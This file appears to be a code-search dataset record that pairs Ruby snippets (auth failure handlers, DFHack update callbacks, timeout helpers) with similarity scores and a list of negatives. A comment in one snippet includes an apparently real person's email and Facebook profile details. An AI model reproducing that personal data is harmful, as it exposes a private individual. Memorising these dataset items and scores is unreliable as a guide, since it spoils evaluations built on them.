"def log_failure( reason )\n\t\tself.log.warn \"Auth failure: %s\" % [ reason ]\n\t\theader = \"Basic realm=%s\" % [ self.class.realm || self.app.conn.app_id ]\n\t\tfinish_with( HTTP::AUTH_REQUIRED, \"Requires authentication.\", www_authenticate: header )\n\tend",
"def log_failure( reason )\n\t\tself.log.warn \"Auth failure: %s\" % [ reason ]\n\t\theader = \"Basic realm=%s\" % [ self.class.realm || self.app.conn.app_id ]\n\t\tfinish_with( HTTP::AUTH_REQUIRED, \"Requires authentication.\", www_authenticate: header )\n\tend",
"def failed_registration_with_email_already_taken\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(@user_email, @user_password, @user_password)\n return parse_failure_message(find_div_with_fail_message)\n end",
"def requestFailed(request)\n error = request.error\n puts \"Error parsing the users API call\"\n # should do something better...\n end",
"def handle_unverified_request\n flash[:error] = 'Unverified request. Please retry or clear your cookie!'\n redirect_to :back\n end",
"def failed_registration_with_incorrect_password_requirement_and_in_use_email\n @session.visit(@pai_main_url + @view_registration)\n fill_in_fields_and_submit(@user_email, @invalid_user_password, @invalid_user_password)\n return parse_failure_message(find_div_with_fail_message)\n end",
"def note_failed_signin\n flash[:error] = \"Usuário e/ou senha incorreto(s)\"\n #flash[:error] = \"Couldn't log you in as '#{params[:login]}'\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def note_failed_signin\n flash[:notice] = \"We could not log you in with the credentials supplied. Perhaps you mistyped them, or you have not yet activated your account by verifying your email address?\"\n logger.warn \"Failed login for '#{params[:login]}' from #{request.remote_ip} at #{Time.now.utc}\"\n end",
"def failure\n puts \"----------error with sign in\"\n redirect_to root_path\n end",
"def local_auth_error\n (@token ? nil : 'Not authenticated with TimeSync,'\\\n ' call authenticate first')\n end",
"def auth_callback_test\n # render(:json=>request.env['omniauth.auth'].to_json)\n end",
"def failure_callback(data, use_pattern_matching = true)\n if data[:contracts].pattern_match? && use_pattern_matching\n return DEFAULT_FAILURE_CALLBACK.call(data)\n end\n\n fetch_failure_callback.call(data)\n end",
"def handle_omniauth_callback(auth)\n # Try to find authentication first\n authentication = Authentication.find_by_provider_and_uid(auth['provider'], auth['uid'])\n provider = auth['provider'] || 'Unknown'\n\n ## data of facebook\n # info=#<OmniAuth::AuthHash::InfoHash email=\"phanhoanglong2610@gmail.com\"\n # first_name=\"Long\" image=\"http://graph.facebook.com/100000709457324/picture?type=square\"\n # last_name=\"Phan-Hoàng\" location=\"Ho Chi Minh City, Vietnam\" name=\"Long Phan-Hoàng\"\n # nickname=\"phanhoanglong2610\"\n # urls=#<Hashie::Mash Facebook=\"http://www.facebook.com/phanhoanglong2610\">\n # verified=true> provider=\"facebook\" uid=\"100000709457324\"\n\n if authentication\n\n # sign in and direct to previous page\n sign_in_and_redirect authentication.user, :event => :authentication\n set_flash_message(:notice, :success, :kind => auth[\"facebook\"]) if is_navigational_format?\n\n else\n # Authentication not found, thus a new user.\n @user = User.new\n\n # temp for username social accounts such as Twitter\n\n #prefill with info from provider website\n @user.apply_omniauth(auth)\n\n @info = {\n \t:first_name => @user.first_name,\n \t:last_name => @user.last_name,\n \t:email => @user.email\n }\n\n session[\"devise.#{auth[\"provider\"]}_data\"] = auth.except(\"extra\")\n\n render :template => \"devise/registrations/new\"\n end\n\tend",
"def handle_account_authentication_error(account_error)\n return unless is_navigational_format?\n\n reason = account_error.message\n provider_name = account_error.provider_name\n\n set_flash_message(:alert, :failure, kind: provider_name, reason: reason)\n if user_signed_in?\n redirect_to users_accounts_path\n else\n redirect_to new_user_session_path\n end\n end",
"def render_failed_auth_response\n render status: 401,\n json: json_response(:fail, data: {user: \"Valid username and token must be present.\"})\n end"
] |
[
"0.72447765",
"0.69695884",
"0.68047315",
"0.6513187",
"0.65073943",
"0.6391501",
"0.6367987",
"0.63227403",
"0.62982416",
"0.62861043",
"0.6266558",
"0.6257491",
"0.62568986",
"0.62526715",
"0.62526095",
"0.6170803",
"0.61645913",
"0.61423445",
"0.6131171",
"0.61293465",
"0.6120211",
"0.60769045",
"0.60669816",
"0.6066144",
"0.60638",
"0.60483044",
"0.60298514",
"0.6025476",
"0.6022741",
"0.60208374",
"0.6018299",
"0.6017136",
"0.6001326",
"0.5985674",
"0.5984822",
"0.5958005",
"0.59253436",
"0.5916633",
"0.59108037",
"0.5910792",
"0.5909717",
"0.59026176",
"0.58991545",
"0.5886669",
"0.58794105",
"0.58695227",
"0.58695227",
"0.58695227",
"0.5862617",
"0.5853899",
"0.58385557",
"0.58204585",
"0.5819059",
"0.58058643",
"0.5805599",
"0.5802488",
"0.5800534",
"0.5789309",
"0.5789309",
"0.57816577",
"0.5781374",
"0.57793355",
"0.5770851",
"0.5769168",
"0.5762545",
"0.57500356",
"0.57457876",
"0.5744643",
"0.5740748",
"0.5740712",
"0.5727956",
"0.5723927",
"0.5713531",
"0.5706527",
"0.5703326",
"0.5696828",
"0.5687357",
"0.5685324",
"0.5680331",
"0.5679006",
"0.5672031",
"0.5670394",
"0.56687856",
"0.56687856",
"0.56677043",
"0.56635493",
"0.56635493",
"0.5663043",
"0.5660276",
"0.56552315",
"0.5648599",
"0.5646314",
"0.564465",
"0.5630705",
"0.56273687",
"0.56267",
"0.56192803",
"0.56185085",
"0.5614632",
"0.5614177"
] |
0.7093228
|
1
|
run callback if timedout
|
def check_run(year, yeartick, yearlen)
if !@ticklimit
@callback.call
else
if year > @minyear or (year == @minyear and yeartick >= @minyeartick)
@minyear = year
@minyeartick = yeartick + @ticklimit
if @minyeartick > yearlen
@minyear += 1
@minyeartick -= yearlen
end
@callback.call
end
end
rescue
puts_err "onupdate cb #$!", $!.backtrace
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def timeout!; end",
"def on_timeout(options = {})\n timeout = options[:timeout] || 0.5\n\n sleep timeout\n\n yield\n end",
"def timeout_after(time); end",
"def timeout; end",
"def timeout; end",
"def timeout; end",
"def start_timed_out\n end",
"def timedout?(last_access); end",
"def on_timeout\n trigger\n reset\n end",
"def on_timeout\n trigger\n reset\n end",
"def timeout=(_arg0); end",
"def timeout_at; end",
"def on_timeout=(callback)\n @timeout_callback = callback\n end",
"def checkTimeout_Flooding()\n\tsleep(2);\n\tputs \"time out!\";\n\n\nend",
"def timed_out?\n @timed_out\n end",
"def timeout\n nil\n end",
"def error_timeout; end",
"def timeout?\n @status == :timeout\n end",
"def test_timeout\n session=enter_the_room(\"test_timeout\")[\"session\"]\n response=get_event(session, {:check_response => false})\n assert last_response.ok?\n assert response[\"result\"] == 'timeout'\n end",
"def timer_timed_out\n self.log(\"Globaler Timer ist abgelaufen\")\n JavaScript::Runtime.call_slot(Global.timer_path, Global.timer_slot)\n end",
"def timeout_wrap(&block)\n ::Timeout.timeout(timeout, &block)\n rescue ::Timeout::Error\n failure(:RPC_FAILED, \"The server took longer than #{timeout} seconds to respond\")\n end",
"def on_timeout\n trigger\n @active = false\n end",
"def with_timeout(seconds)\n Timeout.timeout(seconds) do\n yield\n end\nrescue Timeout::Error\n false\nend",
"def timeout\n @timeout\n end",
"def daemonization_timed_out\n end",
"def worker_timeout(timeout); end",
"def first_data_timeout(seconds); end",
"def can_do_timeout(func_name, timeout)\n throw :notimpl\n end",
"def timed_out\n response['timed_out']\n end",
"def err_timeout(timeout, name, action) \n logger.info \"About to do \" + name\n Timeout::timeout(5) do\n begin\n action.call\n rescue => e\n logger.error \"Got error: #{e.message}\"\n end\n end\nend",
"def timer(milliseconds, &callback)\n # Implement in subclass\n end",
"def timer(timeout,options={},&callback)\n bot.timer.add_timer(:timestamp=>Time.now+timeout.to_i, :requestor=>options[:requestor]||name,&callback)\n end",
"def assert_callback(time = nil, message = nil)\n called_back = false\n \n EventMachine.next_tick do\n yield(lambda { called_back = true })\n end\n \n start_time = Time.now.to_i\n\n while (!called_back)\n select(nil, nil, nil, 0.1)\n \n if (time and (Time.now.to_i - start_time > time))\n flunk(message || 'assert_callback timed out')\n end\n end\n end",
"def shutdown_after(timeout); end",
"def timed_out?\n @status == 'timed_out' || (@created_at + @timeout < current_time)\n end",
"def timed_out?\n @status == 'timed_out' || (@created_at + @timeout < current_time)\n end",
"def onTimedOut(args)\n args = Hash.symbolicate(args)\n if args[:time] && args[:slot] && args[:path]\n\n if Global.timer\n Global.timer.invalidate\n Global.timer = nil\n Global.timer_path = nil\n Global.timer_slot = nil\n end\n\n Global.timer_slot = args[:slot]\n Global.timer_path = args[:path]\n time = args[:time].to_i / 1000\n\n self.log(\"Globaler Timer wurde mit #{time} Sekunden gestartet\")\n\n Dispatch::Queue.main.async do\n Global.timer = NSTimer.scheduledTimerWithTimeInterval(time, target:self, selector:'timer_timed_out', userInfo:nil, repeats: false)\n end\n end\n end",
"def on_timed_hit_success\n end",
"def timeouts_set; end",
"def fire_on_lock_timeout(li, dt)\n return true unless @lock_timeout_callback\n @lock_timeout_callback.call(li, dt)\n end",
"def call(timeout)\n @time_out_at = read_clock + timeout\n\n yield\n end",
"def event_timer\n if @connection.comm.connected? and Time.now - @var[:last_ping] >= 60\n begin\n _server_control(\"keepalive\")\n rescue\n _notice(\"The connection to the server has been lost\", :global)\n @connection.disconnect\n end\n end\nend",
"def timedout_read(duration)\n begin \n timeout(duration) do\n @sock.wait_readable\n end\n rescue Celluloid::TaskTimeout\n return true\n end\n false\n end",
"def failsafe_timeout\n super\n end",
"def timeout\n super\n end",
"def timeout\n super\n end",
"def timed_out\n response['timed_out']\n end",
"def timed_out?\n @exception.class == TimeoutError\n end",
"def on_timer_timeout\n #puts \"#on_timer_minute #{@timer_minute} #{@timer_minute_limit}\"\n @timer_minute += 1\n if @timer_minute > @timer_minute_limit\n change_wallpaper\n\n # Restart timer\n reset_timer_minute\n end\n end",
"def safe_timeout(conn, meth, name)\n Timeout.timeout(5) { conn.send(meth) }\n true\nrescue Timeout::Error\n $stderr.puts \"Timed out waiting to close #{name} connection\"\n false\nrescue Exception => ex\n $stderr.puts(\"#{ex.class}: #{ex.message}\")\n false\nend",
"def invite_timeout\n run_on_invite_timeout_cbs\n end",
"def persistent_timeout(seconds); end",
"def timeout(*args, &block)\n Timeout::timeout(*args, &block)\n rescue Timeout::Error\n :timeout\n end",
"def no_error!(timeout = nil)\n wait(timeout).tap { raise self if failed? }\n end",
"def handleTimeout\n\n return unless hastimer?\n\n @timer.keys.each do |timerType|\n\n # This is because @timer can be modified during an iteration\n next if (@timer[timerType].nil? || @timer[timerType].empty?)\n\n if Time.now > (@timer[timerType][\"Started\"] + ACTIONS[timerType][:TIMEOUT])\n\n writeLog(\"Reached timeout of type #{timerType}\")\n\n # close log File.\n if timerType.eql?(\"FINISH_LOG\")\n\n disableTimer(timerType)\n writeLog(\"Zipping log file.\")\n finishLogFile\n next\n end\n\n # we reached a timeout here. Must choose what to do\n # verify if limit has been exceeded\n if @timer[timerType][\"Tries\"] >= ACTIONS[timerType][:LIMIT]\n\n # Limit reached, finish transaction and generate an error. Insert this into LOG\n CFDP::CFDP_Indication(\"Transaction #{@ID} has detected an error. Error is: #{timerType}_LIMIT. Finishing transaction.\")\n writeLog(\"Transaction #{@ID} has detected an error. Error is: #{timerType}_LIMIT. Finishing transaction.\")\n CFDP::HKPacket.instance.updateVar(ACTIONS[timerType][:CONDITION])\n finish(\"FAILED\")\n else\n\n # Limit not reached, reset Timer, re-send things and update transaction\n resetTimer(timerType)\n\n # Verify action\n case timerType\n when \"EOF\", \"FINISHED\"\n\n # Must re-send PDU from that transaction and update limit counter.\n writeLog(\"#{timerType}_LIMIT reached, re-sending PDU\")\n CFDPEngine.instance.insertIntoBuffer(@pdus[timerType])\n @timer[timerType][\"Tries\"]+=1\n when \"NAK\"\n\n # check if my NAK has been responded\n nakPdu = verifyMissingPDU\n\n if nakPdu.nil?\n\n writeLog(\"NAK has been fully responded.\")\n disableTimer(\"NAK\")\n finish_downlink_transaction if haspdueof?\n next\n elsif nakPdu.pack == @pdus[\"NAK\"].pack\n\n writeLog(\"NAK_LIMIT reached, re-sending PDU\")\n @timer[timerType][\"Tries\"]+=1\n else\n\n writeLog(\"NAK partially responded. Generated new NAK #{nakPdu.pack.to_s}.\")\n writeLog(\"Overriding tries of type #{timerType} to 0.\")\n @pdus[\"NAK\"] = nakPdu\n @timer[timerType][\"Tries\"]=0\n end\n\n CFDPEngine.instance.insertIntoBuffer(nakPdu)\n end\n end\n end\n end\n end",
"def extended_timeout\n puts \"Please wait, this could take a few minutes ...\"\n old_timeout = ::DTK::Client::Conn.get_timeout()\n ::DTK::Client::Conn.set_timeout(EXTENDED_TIMEOUT)\n result = yield\n ::DTK::Client::Conn.set_timeout(old_timeout)\n result\n end",
"def idle_timeout=(timeout); end",
"def consider_timeout\n\n do_schedule_timeout(attribute(:timeout))\n end",
"def timed_out?\n key = fei['wfid'] + '__' + fei['expid']\n\n if self.fields[\"__timeouts__\"] && timeout = self.fields[\"__timeouts__\"][ key ]\n return Time.at( timeout.last ) < Time.now\n end\n\n return false\n end",
"def server_inactivity_timeout(timeout, elapsed)\n LOGGER.error \"Disconnecting #{@remote.join(':')} after #{elapsed}s of inactivity (> #{timeout.inspect})\"\n @server_side = nil\n close_connection\n BeanstalkProxy.inactivity_error_callback.call(@remote.join(':'))\n end",
"def handle_timeout\n pop_outstanding_request\n nil\n end",
"def handle_timeout\n err = \"No response from server: Timed out connecting to server. Server is either down or connection is slow.\"\n redirect_to root_path, flash: { error: err }\n end",
"def timeout\n options[:timeout] || super\n end",
"def checkTimeout\n\tt = Time.now\n\tret = t.to_i\n\ttimeoutMsgs = operateMsgPool(CHECK_MESSAGE, ret.to_s)\n\ti = 0\n\twhile (i < timeoutMsgs.length)\n\t cm_cmc_msg = timeoutMsgs.at(i) \n\t cmstr = cm_cmc_msg.marshallMsg\n\t @communicator.sendCommand(CM_PORT, cm_cmc_msg.ipaddr, cmstr)\n\t i = i + 1\n\tend\n end",
"def connect_timeout=(_arg0); end",
"def verify!(timeout)\n now = Time.now.to_i\n if (now - @last_verification) > timeout\n reconnect! unless active?\n @last_verification = now\n end\n end",
"def idle_timeout; end",
"def idle_timeout; end",
"def timeout!(*args, &block)\n Timeout::timeout(*args, &block)\n end",
"def timeout(ms = 0)\n `setTimeout(function(){#{yield}},#{ms})`\n end",
"def analysis_timed_out\n return @timed_out\n end",
"def timeout\n @timeout || Elected.timeout\n end",
"def write_timeout=(_arg0); end",
"def write_timeout=(_arg0); end",
"def add_timeout(seconds, &block)\n raise_not_implemented\n end",
"def timer\n rescuer do\n Timeout.timeout(ttl) { yield }\n end\n end",
"def handle_timeouts(max_timeouts, task)\n timeouts = 0\n begin\n yield\n rescue Timeout::Error\n timeouts += 1\n if timeouts > MAX_TIMEOUTS\n log.fatal \"Exceeded #{MAX_TIMEOUTS} timeouts on slimtimer during:\\n #{task}\"\n raise \"SlimTimer timed out #{MAX_TIMEOUTS} times, so we gave up.\"\n else\n log.debug \"SlimTimer timed out (times: #{timeouts})\"\n retry\n end\n end\nend",
"def handle_timeout!(timeout)\n # Synchronized so that check and kill operation occur as an\n # atomic operation, see exec above\n @pool_lock.synchronize { \n if @being_executed && (Time.now - @timestamp) > timeout\n RJR::Logger.debug \"timeout detected on thread #{@thread} started at #{@timestamp}\"\n @thread.kill\n return true\n end\n return false\n }\n end",
"def run\n @lock.synchronize do\n until stopped?\n if run?\n begin\n @callback.call\n rescue => ex\n logger.warn \"[Neptune] Failed to run timer: #{ex.message}\"\n ensure\n # Always reset, regardless of whether it failed\n reset\n end\n else\n # Wait until enough time has passed for the next invocation\n @notifier.wait(@lock, seconds_left)\n end\n end\n end\n end",
"def timedout?(last_access)\n !timeout_in.nil? && last_access && last_access <= timeout_in.ago\n end",
"def untilTimeout()\n return Timer.timeRemaining(@name)\n end",
"def error_threshold_timeout; end",
"def meta_dl_wait\n $meta_dl_wait_cb = Proc.new if block_given?\n if $metadata_dl_list.values.any? # still downloading\n EM.add_timer(1) { meta_dl_wait } # check again 1s later\n else\n if $meta_fail ### failed !!!!\n meta_fail\n else\n cb = $meta_dl_wait_cb\n $meta_dl_wait_cb = nil\n cb.call\n end\n end\nend",
"def _timeout? changed_time, timeout\n\t\t@current_time ||= Time.now\n\t\t(@current_time - changed_time - timeout) > 0 ? true : false\n\tend",
"def detect_failure\n time = Time.now\n server = server_structs.detect do |server|\n server.next_retry > time\n end\n inspect_server(server) if server\n end",
"def set_timeout timeout\r\n command 'setTimeout', timeout\r\n end",
"def set_timeout timeout\r\n command 'setTimeout', timeout\r\n end",
"def wait_readable_or_timeout; end",
"def assert_timed_out\n assert avatar.lights[-1].output.start_with?('Unable to complete')\n assert_equal :timed_out, avatar.lights[-1].colour\n end",
"def timer_on (opts={})\n @timer.cancel unless @timer.nil?\n length = @timeout + (opts[:with_interval] ? @interval : 0)\n @timer = EventMachine::Timer.new(length) {\n scrap = @buf ? \" - #{@buf.flush}\" : ''\n @handler.logger.error \"timeout on #{@handler.name}\" + scrap\n @handler.logger.debug {\"pid #{get_pid}\"}\n close_connection()\n }\n end",
"def request_timeout(type, options); end",
"def http_timeout=(_arg0); end",
"def worker_shutdown_timeout(timeout); end",
"def turbina_timeout(t, code)\n msg = nil\n result = nil\n begin\n timeout(t) {\n result = code.call\n @status = \"ONLINE\"\n }\n rescue TimeoutError\n msg = \"Turbina Error: Timeout\"\n @status = \"OFFLINE\"\n rescue Errno::ECONNREFUSED\n msg = \"Turbina Error: Refusing connection\"\n @status = \"OFFLINE\"\n rescue => why\n msg = \"Turbina Error: #{why}\"\n @status = \"OFFLINE\"\n end\n puts msg if msg\n return result\n end",
"def handle_timeouts\n yield\n rescue Net::OpenTimeout, Net::ReadTimeout\n {}\n end",
"def timeout(seconds, &block)\n Timeout.timeout seconds, Pinglish::TooLong, &block\n end",
"def statement_timeout=(_arg0); end",
"def check_and_log_running_timeout\n if benchmark_active? && !events.last.failed?\n events.create_with_name!(:failed_on_running, 'Running timeout elapsed.')\n end\n end",
"def typhoeus_timeout\n\t \t\t10\n\t \tend",
"def timeout\n @options[:timeout]\n end",
"def triggerTimeout _args\n \"triggerTimeout _args;\" \n end"
] |
[
"0.70447934",
"0.6986087",
"0.69137585",
"0.68287736",
"0.68287736",
"0.68287736",
"0.680392",
"0.67015237",
"0.6655743",
"0.6555242",
"0.6509908",
"0.64775056",
"0.6459655",
"0.64354587",
"0.6414269",
"0.63517815",
"0.63355803",
"0.63016963",
"0.6269472",
"0.6263596",
"0.6245763",
"0.622686",
"0.62013555",
"0.61841196",
"0.6171267",
"0.6158149",
"0.6135632",
"0.6113901",
"0.6098725",
"0.60541046",
"0.6042913",
"0.6039262",
"0.60341275",
"0.6025546",
"0.60035",
"0.60035",
"0.59866345",
"0.5980429",
"0.59730023",
"0.5964189",
"0.59620243",
"0.5953146",
"0.59239715",
"0.5921606",
"0.5915164",
"0.5915164",
"0.5909436",
"0.59016055",
"0.5899884",
"0.58920306",
"0.5874433",
"0.5862545",
"0.58523566",
"0.58188367",
"0.581254",
"0.58115673",
"0.5805699",
"0.57786065",
"0.57747275",
"0.57701594",
"0.57661545",
"0.57569337",
"0.57561314",
"0.5741065",
"0.5738798",
"0.57241374",
"0.572336",
"0.572336",
"0.5720131",
"0.571412",
"0.57102555",
"0.5709884",
"0.57096744",
"0.57096744",
"0.57057655",
"0.56927675",
"0.5685317",
"0.5678268",
"0.5672785",
"0.5669448",
"0.5667268",
"0.5653654",
"0.56533796",
"0.56504685",
"0.5641792",
"0.56324637",
"0.56324637",
"0.5626363",
"0.56113034",
"0.5608634",
"0.55998975",
"0.5597746",
"0.55948216",
"0.5594417",
"0.5569444",
"0.55678827",
"0.5563812",
"0.55637527",
"0.5554454",
"0.55493665",
"0.55372113"
] |
0.0
|
-1
|
delete the callback for onupdate ; use the value returned by onupdate_register
|
def onupdate_unregister(b)
@onupdate_list.delete b
if @onupdate_list.empty?
DFHack.onupdate_active = false
DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = 0
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def on_update; end",
"def after_update; end",
"def after_update; end",
"def after_update_callback\n puts('----------after_updateをコール----------')\n end",
"def after_update\n end",
"def after_update\n end",
"def on_update(&update_callback)\n @update_callbacks << update_callback\n end",
"def on_update=(callback)\n @update_callback = callback\n end",
"def after_update(updated)\n # not required\n end",
"def on_update(&block)\n @on_update = block\n end",
"def remove_update_callback cb\n\t\t\t@update_callbacks.delete cb\n\t\tend",
"def add_update_callback &cb\n\t\t\t@update_callbacks << cb\n\t\t\tcb\n\t\tend",
"def before_update; end",
"def on_update\n options[:on_update]\n end",
"def after_update_save(record); end",
"def onupdate_unregister(b)\n b = @onupdate_list.find { |bb| bb.description == b } if b.kind_of?(String)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = DFHack.onupdate_minyeartickadv = -1\n end\n end",
"def after_update_hook\n execute_hooks_for(:after, :update)\n end",
"def update\n run_callbacks :update do\n true\n end\n end",
"def on_update(new_point)\n end",
"def on_data_changed; end",
"def callback\n\tend",
"def did_update\n trigger_events(:update)\n end",
"def validate_on_update # :doc:\n end",
"def register_update_handle_callback(&blk)\n @logger.debug(\"Register update handle callback with #{blk}\")\n @update_handle_callback = blk\n end",
"def engine_notify_datas_updated(datas_updated)\n end",
"def update() end",
"def updated_data\n\tend",
"def callback\n\n end",
"def callback\n end",
"def update ; end",
"def updated_data; end",
"def update()\n end",
"def update; end",
"def update;end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def update; end",
"def _after_update\n # SEQUEL5: Remove\n @this = nil\n end",
"def replace_update_me\n end",
"def after_update\n true\n end",
"def update\n handle_orcamento_update\n end",
"def update &block\n receive_update_callbacks << block\n end",
"def callbacks; end",
"def callbacks; end",
"def after_set_callback; end",
"def update\n #\n # NO-OP\n #\n end",
"def update\n # Not generally used\n end",
"def update\n # Not generally used\n end",
"def update\n \t\n end",
"def update\n \t\n end",
"def onupdate_register_once(*a)\n handle = onupdate_register(*a) {\n onupdate_unregister(handle) if yield\n }\n end",
"def onupdate_register_once(*a)\n handle = onupdate_register(*a) {\n onupdate_unregister(handle) if yield\n }\n end",
"def remote_update(*)\n super(changed)\n end",
"def on_invalidate(&block); end",
"def after_update(event)\r\n expire_cache_for(event)\r\n end",
"def before_update_save(record); end",
"def update \n end",
"def update \n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def after_update(event)\n expire_cache_for(event)\n end",
"def on_update(registry, key=nil, action=nil, options={}, &block)\n callback = Callback.new(key, action, &block)\n add_registry_callback(registry, callback, options)\n callback\n end",
"def on_change(value)\n \n end",
"def update(...)\n end",
"def on_inc\n end",
"def update\r\n # write some gangsta code here\r\n end",
"def update\n \n end",
"def onupdate\n @onupdate_list ||= []\n\n y = cur_year\n ytmax = TICKS_PER_YEAR\n if df.gamemode == :ADVENTURE and df.respond_to?(:cur_year_tick_advmode)\n yt = cur_year_tick_advmode\n ytmax *= 144\n else\n yt = cur_year_tick\n end\n\n @onupdate_list.each { |o|\n o.check_run(y, yt, ytmax)\n }\n\n if onext = @onupdate_list.sort.first\n DFHack.onupdate_minyear = onext.minyear\n if ytmax > TICKS_PER_YEAR\n DFHack.onupdate_minyeartick = -1\n DFHack.onupdate_minyeartickadv = onext.minyeartick\n else\n DFHack.onupdate_minyeartick = onext.minyeartick\n DFHack.onupdate_minyeartickadv = -1\n end\n end\n end",
"def callback_type; end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def update\r\n end",
"def event_change\n\t\n\tend",
"def update\r\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def on_confchg(&block)\n\t\t@confchg_callback = block\n\tend",
"def on_refresh(&block)\n @connection.on_refresh_cb = block\n end",
"def before_update_hook\n execute_hooks_for(:before, :update)\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end",
"def update\n end"
] |
[
"0.8190901",
"0.76737213",
"0.76737213",
"0.7635677",
"0.7524111",
"0.7524111",
"0.73023075",
"0.7276052",
"0.72458506",
"0.71878207",
"0.7135902",
"0.6955954",
"0.69158435",
"0.68502814",
"0.6599085",
"0.65932757",
"0.65648407",
"0.6551384",
"0.65483665",
"0.6541374",
"0.6535921",
"0.6500922",
"0.6446065",
"0.6437068",
"0.641687",
"0.6404047",
"0.6357975",
"0.63526595",
"0.631971",
"0.6312898",
"0.62918127",
"0.6273719",
"0.626972",
"0.6245153",
"0.62370694",
"0.62370694",
"0.62370694",
"0.62370694",
"0.62370694",
"0.62370694",
"0.62370694",
"0.62370694",
"0.620141",
"0.6192217",
"0.617553",
"0.6125636",
"0.61239433",
"0.6096441",
"0.6096441",
"0.6096224",
"0.6079608",
"0.60682225",
"0.60682225",
"0.6065259",
"0.6065259",
"0.60414124",
"0.60414124",
"0.60397446",
"0.6027008",
"0.6021297",
"0.6003399",
"0.5945467",
"0.59401757",
"0.59086996",
"0.59086996",
"0.5897234",
"0.5891882",
"0.588409",
"0.586599",
"0.58526874",
"0.5851894",
"0.58359927",
"0.58222437",
"0.5792395",
"0.5792395",
"0.5792395",
"0.5792395",
"0.57896936",
"0.5778528",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.5767685",
"0.57627684",
"0.57544255",
"0.57507074",
"0.57473433",
"0.57473433",
"0.57473433",
"0.57473433",
"0.57473433",
"0.57473433",
"0.57473433"
] |
0.69774365
|
11
|
same as onupdate_register, but remove the callback once it returns true
|
def onupdate_register_once(*a)
handle = onupdate_register(*a) {
onupdate_unregister(handle) if yield
}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def remove_update_callback cb\n\t\t\t@update_callbacks.delete cb\n\t\tend",
"def on_update(&update_callback)\n @update_callbacks << update_callback\n end",
"def add_update_callback &cb\n\t\t\t@update_callbacks << cb\n\t\t\tcb\n\t\tend",
"def after_update_callback\n puts('----------after_updateをコール----------')\n end",
"def onupdate_unregister(b)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = 0\n end\n end",
"def on_update=(callback)\n @update_callback = callback\n end",
"def on_update; end",
"def after_update(updated)\n # not required\n end",
"def after_update; end",
"def after_update; end",
"def after_update\n end",
"def after_update\n end",
"def register_update_handle_callback(&blk)\n @logger.debug(\"Register update handle callback with #{blk}\")\n @update_handle_callback = blk\n end",
"def callback\n false\n end",
"def on_update(&block)\n @on_update = block\n end",
"def onupdate_unregister(b)\n b = @onupdate_list.find { |bb| bb.description == b } if b.kind_of?(String)\n @onupdate_list.delete b\n if @onupdate_list.empty?\n DFHack.onupdate_active = false\n DFHack.onupdate_minyear = DFHack.onupdate_minyeartick = DFHack.onupdate_minyeartickadv = -1\n end\n end",
"def update\n run_callbacks :update do\n true\n end\n end",
"def after_update\n true\n end",
"def callback\n\tend",
"def callback\n\n end",
"def callback\n end",
"def after_set_callback; end",
"def update &block\n receive_update_callbacks << block\n end",
"def on_update(registry, key=nil, action=nil, options={}, &block)\n callback = Callback.new(key, action, &block)\n add_registry_callback(registry, callback, options)\n callback\n end",
"def before_update; end",
"def on_invalidate(&block); end",
"def after_update_hook\n execute_hooks_for(:after, :update)\n end",
"def on_refresh(&block)\n @connection.on_refresh_cb = block\n end",
"def on_update\n options[:on_update]\n end",
"def did_update\n trigger_events(:update)\n end",
"def on_confchg(&block)\n\t\t@confchg_callback = block\n\tend",
"def engine_notify_datas_updated(datas_updated)\n end",
"def replace_update_me\n end",
"def callback!\n watcher && watcher.callback!(self)\n end",
"def on_quorumchg(&block)\n\t\t@quorumchg_callback = block\n\tend",
"def on_appear\n @update = true\n unless @checkingCheckins\n update_checkins\n end\n unless @pinging\n location_ping\n end\n @frequency = 20\n end",
"def verify_callback=(verify_callback); end",
"def verify_callback=(verify_callback); end",
"def after_update_save(record); end",
"def validate_on_update # :doc:\n end",
"def callback\n @callback ||= method(:push)\n end",
"def finish_register\n end",
"def enable_timestamp_callback\n if self.respond_to?(\"updated_at\")\n @@_disable_timestamp_count -= 1\n self.class.set_callback(:save, :before, :update_timestamps ) if @@_disable_timestamp_count == 0\n end\n end",
"def notify?\n update?\n end",
"def register_callback(&proc)\n if ready?\n proc.call(sync)\n else\n @callbacks << proc\n end\n end",
"def notify_update_callbacks status, result\n\t\t\t@update_callbacks.each do |cb|\n\t\t\t\tbegin\n\t\t\t\t\tcb.call status, result\n\t\t\t\trescue => e\n\t\t\t\t\tlog_e e, \"Error calling an update callback\"\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def register_completion_callback(callback)\n @duty_completion_callback = callback\n end",
"def _after_update\n # SEQUEL5: Remove\n @this = nil\n end",
"def callbacks; end",
"def callbacks; end",
"def callback &block\n super\n end",
"def callback &block\n super\n end",
"def onstatechange_register_once\n handle = onstatechange_register { |st|\n onstatechange_unregister(handle) if yield(st)\n }\n end",
"def onstatechange_register_once\n handle = onstatechange_register { |st|\n onstatechange_unregister(handle) if yield(st)\n }\n end",
"def remote_update(*)\n super(changed)\n end",
"def is_registered_true!\n self.is_registered = true\n end",
"def auto_remove_callback\n @auto_remove_callback ||=\n (user_configuration_from_key('auto_remove_callback') || 'after_destroy')\n end",
